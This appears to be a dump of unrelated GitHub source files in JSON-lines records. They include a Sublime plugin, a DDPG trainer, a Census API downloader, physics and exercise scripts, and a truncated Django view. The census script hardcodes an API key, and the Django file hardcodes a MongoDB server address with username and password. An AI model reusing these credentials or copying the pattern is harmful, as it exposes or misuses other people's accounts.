exporter(matrix1,matrix2,matrix3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"krogerjt/Reqs_FR_Clustering","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16049388509","text":"\"\"\"\nTab Switcher plugin for Sublime Text 3.\n\"\"\"\nimport os\n\nimport sublime\nimport sublime_plugin\n\n\nclass TabSwitcherCommand(sublime_plugin.WindowCommand):\n \"\"\"\n Tab Switcher command object.\n \"\"\"\n def run(self):\n \"\"\"\n Run command.\n \"\"\"\n self.window = sublime.active_window()\n self.views = self.window.views()\n\n folders = self.window.folders()\n active_view = self.window.active_view()\n active_view_id = -1\n files_list = []\n\n for view in self.views:\n file_name = view.file_name()\n file_path = ''\n\n if file_name:\n for folder in folders:\n if os.path.commonprefix([folder, file_name]) == folder:\n file_path = os.path.relpath(file_name, folder)\n break\n file_name = os.path.basename(file_name)\n elif view.name():\n file_name = view.name()\n else:\n file_name = 'untitled'\n\n if view.id() == active_view.id():\n active_view_id = len(files_list)\n\n files_list.append([file_name, file_path])\n\n self.window.show_quick_panel(files_list, self.tab_selected, False,\n active_view_id)\n\n def tab_selected(self, selected):\n \"\"\"\n Activate selected tab.\n \"\"\"\n if selected > -1:\n self.window.focus_view(self.views[selected])\n return selected\n","repo_name":"dreadatour/SublimeTabSwitcher","sub_path":"tab_switcher.py","file_name":"tab_switcher.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15191402337","text":"\nfrom random import randrange\nimport datetime \n\ndzis = datetime.date.today()\n\n\nprint(\"Biblioteka filmów i seriali\")\n\nclass Movie:\n def __init__ (self, tytul, rok_wydania, gatunek, liczba_odtworzen):\n self.tytul = tytul\n self.rok_wydania = rok_wydania\n self.gatunek = gatunek\n self.liczba_odtworzen = liczba_odtworzen\n self.liczba_odtworzen = 0 \n def __str__ (self):\n return f'{self.tytul}, ({self.rok_wydania})'\n def play(self, step=1):\n self.liczba_odtworzen += step\n \nclass Series(Movie):\n def __init__ (self, numer_odcinka, numer_sezonu, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.numer_odcinka = numer_odcinka\n self.numer_sezonu = numer_sezonu \n def __str__ (self):\n return f\"{self.tytul}, S0{self.numer_odcinka}, E0{self.numer_sezonu}\"\n\nfilm = Movie (tytul = \"Minionki na końcu świata\", rok_wydania =\"2025\", gatunek=\"Familijny\", liczba_odtworzen = 0)\nfilm1 = Movie (tytul = \"Powrót do przyszłej przeszłości cz.1\", rok_wydania =\"2020\", gatunek=\"Fantasy\", liczba_odtworzen = 0)\nfilm2 = Movie (tytul = \"Powrót do przyszłej przeszłości cz.2\", rok_wydania =\"2021\", gatunek=\"Fantasy\", liczba_odtworzen = 0)\nfilm3 = Movie (tytul = \"Powrót do przyszłej przeszłości cz.3\", rok_wydania =\"2022\", gatunek=\"Fantasy\", liczba_odtworzen = 0)\nfilm4 = Movie (tytul = \"Szklana pułapka cz.1\", rok_wydania =\"2000\", gatunek=\"Triller\", liczba_odtworzen = 0)\nfilm5 = Movie (tytul = \"Szklana pułapka cz.2\", rok_wydania =\"2002\", gatunek=\"Triller\", liczba_odtworzen = 0)\n\nserial = Series(tytul =\"Dzień z zycia Rekina\" , rok_wydania=\"2020\", gatunek=\"Przyrodniczy\", numer_odcinka = int(4), numer_sezonu = int(2), liczba_odtworzen = 0)\nserial1= Series(tytul =\"Przygody Bociana Bogdana\" , rok_wydania=\"2018\", gatunek=\"Familijny\", numer_odcinka = int(6), numer_sezonu = int(1), liczba_odtworzen = 0)\nserial2= Series(tytul =\"Lupin\" , rok_wydania=\"2022\", gatunek=\"Triller\", numer_odcinka = int(6), numer_sezonu = int(1), liczba_odtworzen = 0)\nserial3= Series(tytul =\"Zaczarowany Ogród\" , rok_wydania=\"1995\", gatunek=\"Familijny\", numer_odcinka = int(6), numer_sezonu = int(1), liczba_odtworzen = 0)\n\n\nbiblioteka_film = [film, film1, film2, film3, film4, film5]\nbiblioteka_serial = [serial, serial1, serial2, serial3]\nbiblioteka = [*biblioteka_film , *biblioteka_serial]\n\ndef get_movies():\n print(\"Sortowanie tytułów filmów alfabetycznie\")\n return [movie for movie in biblioteka if not isinstance(movie, Series)]\n \ndef get_series():\n print(\"Sortowanie tytułów seriali alfabetycznie\")\n return [movie for movie in biblioteka if isinstance(movie, Series)]\n \ndef search(poszukiwany_tytul):\n for movie in biblioteka:\n if movie.tytul == poszukiwany_tytul:\n return movie\n\ndef generate_views():\n id_rnd = randrange(len(biblioteka))\n biblioteka[id_rnd].play(step=randrange(100) + 1)\n\ndef run_generate():\n for i in range(10):\n generate_views()\n\ndef top_titles():\n print(f\"Najpopularniejsze filmy i seriale dnia {dzis}\")\n return [sorted(biblioteka, key=lambda Movie: Movie.liczba_odtworzen)]\n \nprint(search(\"Lupin\"))\ngenerate_views()\nget_movies()\nget_series()\nprint(top_titles())\n\n\n\n\n\n\n\n# def get_movies():\n# print(\"Sortowanie tytułów filmów alfabetycznie\")\n# by_tytul = sorted(biblioteka_film, key=lambda Movies: Movies.tytul)\n# for a in by_tytul:\n# print (a.tytul, a.rok_wydania)\n\n\n# def get_series():\n# print(\"Sortowanie tytułów seriali alfabetycznie\")\n# by_tytul = sorted(biblioteka_serial, key=lambda Series: Series.tytul)\n# for a in by_tytul:\n# print (a.tytul, a.rok_wydania)\n\n\n\n\n\n\n","repo_name":"Magda1986/Biblioteka-Filmow","sub_path":"Biblioteka.py","file_name":"Biblioteka.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6726090551","text":"# -*- coding: utf-8 -*-\n\nimport os\n\nCXXFLAGS_BASE = [\n \"-std=c++14\", \"-Wall\", \"-Wextra\",\n \"-fdiagnostics-color\",\n]\nCXXFLAGS_OPTDBG = [\"-g3\", \"-O0\"]\n#CXXFLAGS_OPTDBG = []\n#CXXFLAGS_OPTDBG = [\"-O2\", \"-DNDEBUG\"]\n#CXXFLAGS_OPTDBG = [\"-O3\", \"-DNDEBUG\"]\n\nvars = Variables(None, ARGUMENTS)\nvars.Add(\"CXX\")\n\nenv_lib = Environment(variables=vars)\nenv_lib.Append(\n CXXFLAGS = CXXFLAGS_BASE + CXXFLAGS_OPTDBG + [\n \"-fvisibility=hidden\", \"-fvisibility-inlines-hidden\",\n ],\n)\nenv_lib.SharedLibrary(\n \"junknes\",\n [\"junknes.cpp\", \"nes.cpp\", \"cpu.cpp\", \"ppu.cpp\", \"apu.cpp\"],\n)\n\nenv_ines = Environment(variables=vars)\nenv_ines.Append(CXXFLAGS = CXXFLAGS_BASE + CXXFLAGS_OPTDBG)\nobj_ines = env_ines.Object(\"ines.cpp\")\n\nenv_main_sdl2 = Environment(\n ENV = {\n \"PATH\" : os.environ[\"PATH\"], # 自分の sdl2-config を使うため\n },\n variables = vars,\n)\nenv_main_sdl2.Append(\n CXXFLAGS = CXXFLAGS_BASE + CXXFLAGS_OPTDBG,\n)\nenv_main_sdl2.ParseConfig(\"sdl2-config --cflags --libs\")\nenv_main_sdl2.Requires(\"junknes-sdl2\", \"libjunknes.so\")\nenv_main_sdl2.Program(\n \"junknes-sdl2\",\n [\"main-sdl2.cpp\", obj_ines],\n LIBS = [\"SDL2\", \"junknes\"],\n LIBPATH = [\".\"],\n RPATH = [\".\"],\n)\n\nenv_main_sdl1 = Environment(\n ENV = {\n \"PATH\" : os.environ[\"PATH\"], # 自分の sdl-config を使うため\n },\n variables = vars,\n)\nenv_main_sdl1.Append(\n CXXFLAGS = CXXFLAGS_BASE + CXXFLAGS_OPTDBG,\n)\nenv_main_sdl1.ParseConfig(\"sdl-config --cflags --libs\")\nenv_main_sdl1.Requires(\"junknes-sdl1\", \"libjunknes.so\")\nenv_main_sdl1.Program(\n \"junknes-sdl1\",\n [\"main-sdl1.cpp\", obj_ines],\n LIBS = [\"SDL\", \"junknes\"],\n LIBPATH = [\".\"],\n RPATH = [\".\"],\n)\n","repo_name":"taotao54321/junknes","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"38332229468","text":"\nfrom time import sleep\nimport copy\nfrom tqdm import tqdm\nimport numpy as np\nimport renom as rm\nfrom renom.utility.reinforcement.replaybuffer import ReplayBuffer\n\n\nclass DDPG(object):\n\n def __init__(self, critic, actor, state_size, action_size, ganma=0.99, momentm=0.001, buffer_size=1e5):\n assert isinstance(state_size, (list, tuple))\n assert isinstance(action_size, (list, tuple))\n assert momentm <= 1.0 and momentm >= 0\n\n self._actor = actor\n self._critic = critic\n self._target_actor = copy.deepcopy(actor)\n self._target_critic = copy.deepcopy(critic)\n\n self._action_size = list(action_size)\n self._state_size = list(state_size)\n self._buffer_size = buffer_size\n self._ganma = ganma\n self._momentum = momentm\n self._buffer = ReplayBuffer(self._action_size, self._state_size, buffer_size)\n\n def action(self, state):\n self._actor.set_models(inference=True)\n shape = [-1, ] + self._state_size\n s = state.reshape(shape)\n return np.argmax(self._actor(s).as_ndarray(), axis=1)\n\n def update(self):\n # Check GPU data\n for ac, target_ac in zip(self._actor.iter_models(), self._target_actor.iter_models()):\n if hasattr(ac, \"params\") and hasattr(target_ac, \"params\"):\n for k in ac.params.keys():\n ac.params[k] = (1 - self._momentum) * ac.params[k] + \\\n self._momentum * target_ac.params[k]\n\n for cr, target_cr in zip(self._critic.iter_models(), self._target_critic.iter_models()):\n if hasattr(cr, \"params\") and hasattr(target_cr, \"params\"):\n for k in cr.params.keys():\n cr.params[k] = (1 - self._momentum) * cr.params[k] + \\\n self._momentum * target_cr.params[k]\n\n def train(self, env, loss_func=rm.ClippedMeanSquaredError(), optimizer_critic=rm.Adam(lr=0.0001),\n optimizer_actor=rm.Adam(lr=0.0001),\n episode=100, batch_size=32, random_step=1000, one_episode_step=5000, test_step=1000,\n test_env=None, update_period=10000, greedy_step=1000000, min_greedy=0.1,\n max_greedy=0.9, exploration_rate=1., test_greedy=0.95, callbacks=None):\n\n greedy = min_greedy\n g_step = (max_greedy - min_greedy) / greedy_step\n\n if test_env is None:\n test_env = env\n\n print(\"Execute random action for %d step...\" % random_step)\n for r in range(random_step):\n action = np.random.rand(*self._action_size)\n prestate, action, reward, state, terminal = env(action)\n if prestate is not None:\n self._buffer.store(prestate, np.array(action),\n np.array(reward), state, np.array(terminal))\n state = None\n prestate = None\n count = 0\n for e in range(episode):\n loss = 0\n tq = tqdm(range(one_episode_step))\n for j in range(one_episode_step):\n action = np.atleast_2d(self.action(state[None, ...])) + \\\n np.random.randn(batch_size, self._action_size) * (1 - greedy) * exploration_rate\n prestate, action, reward, state, terminal = env(action)\n greedy += g_step\n greedy = np.clip(greedy, min_greedy, max_greedy)\n if prestate is not None:\n self._buffer.store(prestate, np.array(action),\n np.array(reward), state, np.array(terminal))\n\n # Training\n train_prestate, train_action, train_reward, train_state, train_terminal = \\\n self._buffer.get_minibatch(batch_size)\n\n target = np.zeros((batch_size, self._action_size), dtype=state.dtype)\n for i in range(batch_size):\n target[i, train_action[i, 0].astype(np.integer)] = train_reward[i]\n\n self._target_actor.set_models(inference=True)\n self._target_critic.set_models(inference=True)\n action_state_value = self._target_critic(\n train_state, self._target_actor(train_state))\n target += (action_state_value *\n self._ganma * (~train_terminal[:, None])).as_ndarray()\n\n self._actor.set_models(inference=True)\n self._critic.set_models(inference=False)\n with self._critic.train():\n z = self._critic(train_prestate, self._actor(train_prestate))\n ls = loss_func(z, target)\n\n with self._actor.prevent_upadate():\n ls.grad().update(optimizer_critic)\n\n self._actor.set_models(inference=True)\n self._critic.set_models(inference=False)\n with self._critic.train():\n z = self._critic(train_prestate, self._actor(train_prestate))\n\n with self._actor.prevent_upadate():\n z.grad(-1.).update(optimizer_actor)\n\n loss += ls.as_ndarray()\n if count % update_period == 0:\n self.update()\n count = 0\n count += 1\n tq.set_description(\"episode {:03d} loss:{:6.4f}\".format(e, float(ls.as_ndarray())))\n tq.update(1)\n tq.set_description(\"episode {:03d} avg loss:{:6.4f}\".format(e, float(loss) / (j + 1)))\n tq.update(0)\n tq.refresh()\n tq.close()\n\n # Test\n state = None\n sum_reward = 0\n\n for j in range(test_step):\n if state is not None:\n action = self.action(state) +\\\n np.random.randn(batch_size, self._action_size) * \\\n (1 - test_step) * exploration_rate\n prestate, action, reward, state, terminal = test_env(action)\n sum_reward += float(reward)\n\n tq.write(\" /// Result\")\n tq.write(\" Average train error:{:1.6f}\".format(float(loss) / one_episode_step))\n tq.write(\" Test reward:{}\".format(sum_reward))\n tq.write(\" Greedy:{:1.4f}\".format(greedy))\n tq.write(\" Buffer:{}\".format(len(self._buffer)))\n\n if isinstance(callbacks, dict):\n func = callbacks.get(\"end_episode\", False)\n if func:\n func()\n\n sleep(0.25) # This is for jupyter notebook representation.\n","repo_name":"sogabe-tohma/Python-code-for-anomaly-detection","sub_path":"Ch4/renom/algorithm/reinforcement/ddpg.py","file_name":"ddpg.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"48"} +{"seq_id":"7858669317","text":"import requests\r\nimport pandas as pd\r\nimport time\r\n\r\n\r\nstart = time.perf_counter()\r\n\r\nPATH = \"C:\\\\Users\\perizatmenard\\Documents\\capstone_project\"\r\ngroup_names = [\"DP02\", \"DP03\", \"DP04\", \"DP05\"]\r\nHOST = \"https://api.census.gov/data\"\r\n\r\n\r\nclass CensusDataProfiles:\r\n def __init__(self, profile_name,estimate):\r\n self.group_name = profile_name\r\n self.estimate =estimate\r\n\r\n \r\n def get_dataset(self):\r\n dataset = \"acs/acs{}/profile\".format(self.estimate)\r\n return dataset\r\n\r\n def get_path(self):\r\n path = '/'.join([PATH, self.group_name, ''])\r\n return path\r\n\r\n\r\n def get_predicates(self):\r\n predicates = {}\r\n get_vars = \"group({})\".format(self.group_name)\r\n predicates[\"get\"] = get_vars\r\n predicates[\"for\"] = \"county:*\"\r\n predicates[\"key\"] = \"e61340309f1ac39404000c3efba3d6921c359b66\"\r\n return predicates\r\n\r\n\r\n def download_data_profiles(self):\r\n for year in range(2009, 2020):\r\n dataset = self.get_dataset()\r\n predicates = self.get_predicates()\r\n base_url = \"/\".join([HOST, str(year), dataset])\r\n result = requests.get(base_url, params=predicates)\r\n df = pd.DataFrame(columns=result.json()[0], data=result.json()[1:])\r\n df[\"year\"] = year\r\n df[\"estimate\"]=self.estimate\r\n print(df.head(3))\r\n my_path = self.get_path()\r\n fname = \"{}_{}_year_estimate.csv\".format(year,self.estimate)\r\n df.to_csv(my_path+fname)\r\n \r\n\r\nsocial_data_for_1_year = CensusDataProfiles(group_names[0],1)\r\nsocial_data_for_1_year.download_data_profiles()\r\n\r\neconomic_data_for_1_year=CensusDataProfiles(group_names[1],1)\r\neconomic_data_for_1_year.download_data_profiles()\r\n\r\nhousing_data_for_1_year = CensusDataProfiles(group_names[2],1)\r\nhousing_data_for_1_year.download_data_profiles()\r\n\r\ndemographic_data_for_1_year = CensusDataProfiles(group_names[3],1)\r\ndemographic_data_for_1_year.download_data_profiles()\r\n\r\nsocial_data_for_5_year = CensusDataProfiles(group_names[0],5)\r\nsocial_data_for_5_year.download_data_profiles()\r\n\r\neconomic_data_for_5_year = CensusDataProfiles(group_names[1],5)\r\neconomic_data_for_5_year.download_data_profiles()\r\n\r\nhousing_data_for_5_year = CensusDataProfiles(group_names[2],5)\r\nhousing_data_for_5_year.download_data_profiles()\r\n\r\ndemographic_data_for_5_year = CensusDataProfiles(group_names[3],5)\r\ndemographic_data_for_5_year.download_data_profiles()\r\n\r\n\r\n\r\nclass CensusVariables(CensusDataProfiles):\r\n\r\n def __init__(self,estimate):\r\n self.estimate = estimate\r\n\r\n\r\n def get_dataset(self):\r\n return super().get_dataset()\r\n \r\n def get_variables(self):\r\n for year in range(2009, 2020):\r\n dataset = self.get_dataset()\r\n base_url = \"/\".join([HOST, str(year), dataset,\"variables\"])\r\n result = requests.get(base_url)\r\n df = pd.DataFrame(data=result.json()[1:])\r\n fname = \"{}_{}_year_variables.json\".format(year,self.estimate) \r\n path = PATH + \"/variables/\"\r\n df.to_json(path+fname)\r\n\r\n\r\n def create_mapping_file(self):\r\n for year in range(2009, 2020):\r\n variables_df = pd.read_json(\"C:\\\\Users\\perizatmenard\\Documents\\capstone_project\\\\variables\\\\{}_{}_year_variables.json\".format(year,self.estimate))\r\n mapping_df = variables_df[variables_df.columns[0:2]]\r\n fname = \"{}_varibles_for_{}_year.csv\".format(year,self.estimate) \r\n path = PATH + \"/variables/csv/\"\r\n mapping_df.to_csv(path+fname)\r\n\r\n\r\n\r\nvariables_1_year = CensusVariables(1)\r\nvariables_1_year.get_variables()\r\nvariables_1_year.create_mapping_file()\r\n\r\nvariables_5_year = CensusVariables(5)\r\nvariables_5_year.get_variables()\r\nvariables_5_year.create_mapping_file()\r\n \r\n\r\n\r\nfinish = time.perf_counter()\r\nprint(f'Finished in {round(finish-start, 2)} second(s)')","repo_name":"pmukanova/HPImap","sub_path":"census_data.py","file_name":"census_data.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19014529714","text":"from vpython import *\n#GlowScript 3.0 VPython\n\n# 벡터 pos_i, v_i, acc 지정\npos_i = vec(-5,0,0) \nv_i = vec(1.0,0.5,0) \nacc = vec(0.0,-0.2,0) \n\n\n# cart, acart 만들기\ncart = box(pos = pos_i, size = vec(0.3,0.3,0.3), color = color.yellow, make_trail = True, trail_type = \"points\", trail_radius = 0.02, interval = 2)\nacart = box(pos = pos_i + vec(0,1,0), size = vec(0.3,0.3,0.3), color = color.white, make_trail = True, trail_type = \"points\", trail_radius = 0.02, interval = 2)\n\n# 물리 성질 초기화\ncart.v = v_i #cart의 초기 속도 ##m/s\nacart.v = v_i #acart의 초기 속도 ##m/s\n\nscale = 2.0 #크기 조정을 위한 변수\n\n# cart의 속도 벡터 표현\ncart_vel = arrow(pos = cart.pos, axis = scale*cart.v, shaftwidth = 0.1) \n\n# 화면 설정\nscene.autoscale = False #수동으로 화면 조정\n#scene.range = 5\n\n# 시간 설정\nt = 0 ##s\ndt = 0.1 ##s\n\n# 시뮬레이션 루프\nwhile t < 10:\n rate(30)\n # 수치적인 방법으로 속도, 위치 업데이트 \n cart.v = cart.v + acc*dt\n cart.pos = cart.pos + cart.v*dt \n # 벡터 cart_vel 업데이트\n cart_vel.pos = cart.pos #시작 좌표\n cart_vel.axis = scale*cart.v #축\n # 시간 업데이트\n t = t + dt\n # 해석적인 방법으로 위치 업데이트\n acart.pos = pos_i + vec(0,1,0) + v_i * t + 0.5*acc*t**2 \n\n # 출력\n print(cart.pos, acart.pos, mag(acart.pos-cart.pos)-1) \n","repo_name":"zoonature/Physics_programmed_by_python","sub_path":"ex2-2-11-포물체운동(오일러-크러머).py","file_name":"ex2-2-11-포물체운동(오일러-크러머).py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"49610221","text":"def train():\n\n print(\"LOG: train()\")\n from ex36_lower_boggle import lower_boggle\n from ex36_upper_boggle import upper_boggle\n from ex36_bus import bus\n from ex36_dead import dead\n\n prompt = \":> \"\n\n intro_text_line1 = \"\\nYou're standing in the train station and you look for the departures board.\"\n intro_text_line2 = \"You notice that there is a train for Upper Boggle and also a train, from the other platform for Lower Boggle.\"\n intro_text_line3 = \"They are both due in the next few minutes.\"\n decision_text = \"\"\"Do you choose to:\n1 - get the train to Upper Boggle?\n2 - get the train to Lower Boggle?\nSelect a number from above.\"\"\"\n decision_text2 = \"\"\"Do you choose to:\n1 - get the train to Upper Boggle?\n2 - get the train to Lower Boggle?\n3 - go get a bus instead?\nSelect a number from above.\"\"\"\n #intro_text_line3 = \"After a quarter of an hour the bus pulls into the side of the road and stops.\"\n #intro_text_line4 = \"The driver opens the doors of the bus but says nothing.\"\n last_chance_text = \"You better make a choice - both trains are due in soon.\"\n dead_reason_text = \"You fall asleep on a bench on the platform. A pigeon steals your money and your passport. You slowly turn to dust.\"\n\n print(intro_text_line1)\n print(intro_text_line2)\n print(intro_text_line3)\n print(decision_text)\n user_choice = input(prompt)\n if user_choice == \"1\":\n upper_boggle()\n if user_choice == \"2\":\n lower_boggle(\"main_train_station\")\n else:\n print(last_chance_text)\n print(decision_text2)\n user_choice = input(prompt)\n if user_choice == \"1\":\n upper_boggle()\n if user_choice == \"2\":\n lower_boggle(\"main_train_station\")\n if user_choice == \"3\":\n bus()\n else:\n print(\"You stay, slouching where you are, never mustering the courage to make a decision - you drift now as you have always drifted, mere flotsem on the sea of life.\")\n dead(dead_reason_text)\n","repo_name":"keith-taylor/The-Hard-Way","sub_path":"ex36_train.py","file_name":"ex36_train.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43416353687","text":"N,B = input().split()\r\nB = int(B)\r\nchange_dict = {chr(i+55) : i for i in range(10,36)}\r\nsummary = 0\r\nfor idx, char in enumerate(reversed(N)):\r\n if char in change_dict:\r\n summary += B**idx * change_dict[char]\r\n else:\r\n summary += B**idx * int(char)\r\nprint(summary)","repo_name":"Guitarboyjason/Algorithm","sub_path":"백준/Bronze/2745. 진법 변환/진법 변환.py","file_name":"진법 변환.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74778765586","text":"def tokenize(text, sentence=False):\n if sentence:\n tokens = set(text.split('.'))\n else:\n tokens = set(text.split(' '))\n\n return tokens\n\n\ndef main():\n text = \"\"\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.\n Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\"\"\"\n \n print('split as sentence')\n tokens = tokenize(text, sentence=True)\n print(tokens)\n\n print('split as words')\n tokens = tokenize(text)\n print(tokens)\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"p0wx/Marin_tasks","sub_path":"Task_7/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"la","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34738023570","text":"from netCDF4 import Dataset\nfrom sklearn.neighbors import KNeighborsRegressor\nimport numpy as np\nneigh = KNeighborsRegressor(n_neighbors=30,weights='distance')\nfrom sklearn.model_selection import train_test_split\n\nwith Dataset(\"radiometer_obs_2020-08-11_04:10:00_subset.nc\") as fh:\n yobsL=fh[\"tb2\"][:,:]\n yobs2L=fh[\"tb\"][:,:]\nwith Dataset(\"active_obs_2020-08-11_04:10:00_subset.nc\") as fh:\n x2D=fh[\"iwc\"][:,15:55]\n zku=fh[\"zKu\"][:]\n \nnt,nc=yobsL.shape\nyobsL+=np.random.randn(nt,nc)*3\nX_test=yobsL[:,:]\niwc_test=x2D\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport matplotlib\nimport pickle\nzku_test=zku\nimport tensorflow as tf\nd=pickle.load(open(\"dfnscalersAndPCA.pklz\",\"rb\"))\npca=d[\"PCA\"]\nscalerPCA=d[\"scalerPCA\"]\nscalerX=d[\"scalerX\"]\nneigh=d[\"nneigh\"]\nscalerIWC=d[\"scalerIWC\"]\nzku_test[zku_test<8]=0\nxnn_test=np.concatenate((zku_test[:,15:55],X_test[:,:]),axis=-1)\nxnn_test=scalerX.transform(xnn_test)\ntfmodel=tf.keras.models.load_model('dfnradar_radiom_tf_model.h5')\nynn_=neigh.predict(X_test)\n\ny_=tfmodel.predict(xnn_test)\ny_=np.array(y_)\ny_=scalerPCA.inverse_transform(y_) # unscale the PCAs\n\ny_=pca.inverse_transform(y_) # from IWC PCA to scaled IWC\ny_=scalerIWC.inverse_transform(y_) # unscale the IWC\n\nyf_=y_.flatten() # flatten the IWC\n\nynnf_=ynn_.flatten()\niwcf=iwc_test.flatten() # flatten the test IWC\nplt.figure()\nax1=plt.subplot(121)\nplt.hist2d(iwcf,yf_,bins=np.arange(100)*0.01,\\\n norm=matplotlib.colors.LogNorm(),cmap='jet')\nx1=np.arange(101)*0.01\nplt.plot(x1,x1)\nplt.ylabel('Retrieved IWC [g/m$^3$]')\nplt.xlabel('Reference IWC [g/m$^3$]')\nplt.title('Synergistic')\nax1.set_aspect('equal')\ncb1=plt.colorbar(orientation='horizontal')\ncb1.ax.set_xlabel('Counts')\n\nif 1==1:\n ax2=plt.subplot(122)\n plt.hist2d(iwcf,ynnf_,bins=np.arange(100)*0.01,\\\n norm=matplotlib.colors.LogNorm(),cmap='jet')\n plt.plot(x1,x1)\n ax2.set_aspect('equal')\n plt.xlabel('Reference IWC [g/m$^3$]')\n plt.title('Radiometer only')\n cb2=plt.colorbar(orientation='horizontal')\n cb2.ax.set_xlabel('Counts')\n\nplt.savefig('retrievals_PCAsfromRet_noise_hist2d.png')\n\n","repo_name":"mgrecu35/anvilRetr","sub_path":"tfModelEval.py","file_name":"tfModelEval.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2344661588","text":"import sys\n\n\nn, m = map(int, sys.stdin.readline().split())\n\n# 박스가 있다면\nif n:\n k = list(map(int, sys.stdin.readline().split()))\n temp = 0 # 가방에 넣을 수 있는 무게\n cnt = 0 # 가방에 넣을 수 있는 책\n \n # 반복문을 통해 책의 무게를 확인\n for i in k:\n temp += i\n \n # 가방에 넣을 수 있는 무게와 가방의 넣을 수 있는 최대 무게가 같을 경우\n if temp == m:\n temp = 0\n cnt += 1\n \n # 가방에 넣을 수 있는 무게가 가방의 넣을 수 있는 최대 무게보다 무거울 경우\n elif temp > m:\n temp = i\n cnt += 1\n \n # 책의 무게를 다 확인 후에도 ���방에 넣어야 하는 책이 있는 경우\n if temp:\n cnt += 1\n\n print(cnt)\n\n# 박스가 없다면\nelse:\n print(0)\n","repo_name":"junjange/CodingTest","sub_path":"baekjoon/Greedy_Algorithm/1817.py","file_name":"1817.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26842311504","text":"# -*-coding:utf-8 -*-\n\n#https://github.com/django-json-api/django-rest-framework-json-api/blob/develop/rest_framework_json_api/views.py\n#http://django-rest-framework-json-api.readthedocs.io/en/stable/getting-started.html#running-the-example-app\n# http://getblimp.github.io/django-rest-framework-jwt/\n\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom yqdata.models import *\nfrom datetime import date, timedelta\nimport datetime\nimport pandas as pd\nfrom rest_framework.views import APIView\nimport traceback\nimport random\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\nfrom django.http import HttpResponse\nimport random\nfrom mongoengine import *\nimport json\nimport base64,re\nfrom yqdata.Auths import *\nfrom mongoengine.queryset.visitor import Q\nfrom serializers import PostSerializer\nimport logging\nlogger = logging.getLogger('django')\n\nconnect('yuqing', alias='default', host='118.190.133.203', port=27016,username='yuqing',password='yuqing@2017')\ndatatype_objs = Datatype_name.objects.only(\"data_type\", 'datatype_name')\nDTLIST = [(i.data_type, i.datatype_name) for i in datatype_objs]\n\ndatatype_objs = Datatype_name.objects.only(\"data_type\", 'datatype_name')\nDTDICT = {i.data_type: i.datatype_name for i in datatype_objs}\n\ntopic_objs = Topic.objects.only(\"_id\",'topic_name')\nTOPICLIST= [(i._id, i.topic_name) for i in topic_objs]\n\ndatatype_objs = Datatype_name.objects.only(\"data_type\", 'datatype_name')\ndatatypedict={}\nfor item in datatype_objs:\n datatypedict[item.data_type]=item.datatype_name\n\nsite_objs = Site.objects.only(\"_id\", 'site_name')\nsitedict={}\nfor item in site_objs:\n sitedict[item._id]=item.site_name\ndef decode_base64(auth_token):\n missing_padding = 4 - len(auth_token)%4\n if missing_padding:\n auth_token+=b'='*missing_padding\n tokens = base64.decodestring(auth_token)\n return tokens\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, datetime.datetime):\n return obj.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(obj, date):\n return obj.strftime('%Y-%m-%d')\n else:\n return json.JSONEncoder.default(self, obj)\n\nclass wallPost(APIView): # xxxx/yqdata/wallpost\n\n @csrf_exempt\n def get(self, request, format=None):\n userid=int(request.GET['userId'])\n topicid=int(request.GET['topicId'])\n json_out={}\n data=[]\n\n try:\n res = Tran_Wall_Post.objects(hot_topic_id=topicid)\n \n for post in res :\n temp = {}\n poster = {}\n temp['url']=post.url\n temp['site_id']=post.site_id\n temp['site_name']=post.site_name\n temp['topic_id']=post.topic_id\n temp['hot_topic_id']=post.hot_topic_id\n temp['board']=post.board\n temp['data_type']=post.data_type\n temp['title']=post.title\n temp['content']=post.content\n temp['pt_time']=post.pt_time\n 